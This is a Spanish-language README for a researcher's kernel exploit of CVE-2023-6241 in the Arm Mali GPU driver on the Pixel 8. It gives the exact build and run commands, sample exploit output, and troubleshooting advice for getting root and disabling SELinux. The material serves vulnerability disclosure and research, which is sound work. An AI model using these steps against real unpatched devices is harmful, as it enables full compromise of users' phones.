
CVE-2023-6241 para Pixel 8
El análisis completo se puede encontrar aquí. Este es un error en el controlador del kernel Arm Mali que reporté en noviembre de 2023. El error puede utilizarse para obtener ejecución arbitraria de código en el kernel desde el dominio de aplicaciones no confiables, que luego se usa para deshabilitar SELinux y obtener root.
El exploit está probado en el Google Pixel 8 con el parche de noviembre de 2023 (UD1A.231105.004). Debe compilarse con OpenCL y enlazarse con la librería OpenCL libGLES_mali.so. La librería se puede encontrar en un dispositivo Pixel 8 en vendor/lib64/egl/libGLES_mali.so y los archivos de cabecera de OpenCL se pueden encontrar en el repositorio OpenCL-headers de KhronosGroup. La cabecera específica que usé fue la versión v2023.04.17, aunque otras versiones también deberían funcionar. Como referencia, usé el siguiente comando para compilar con clang en ndk-26:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
El exploit debe enlazarse con libGLES_mali.so. Esto se puede hacer estableciendo LD_LIBRARY_PATH a /vendor/lib64/egl. El exploit rara vez falla e incluso si falla, normalmente no corrompe ni bloquea el sistema. Así que en caso de que falle, se puede volver a ejecutar. Si tiene éxito, debería deshabilitar SELinux y obtener root.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
Al ejecutarse por primera vez, el exploit a veces se queda bloqueado después de imprimir el último mensaje overwrite addr. Si eso ocurre (bloqueado durante más de 10 segundos, aunque pausar durante unos segundos es normal), simplemente termine el exploit y vuelva a ejecutarlo. No debería atascarse la segunda vez.
Para probarlo con MTE habilitado, siga estas instrucciones para habilitar MTE en el kernel.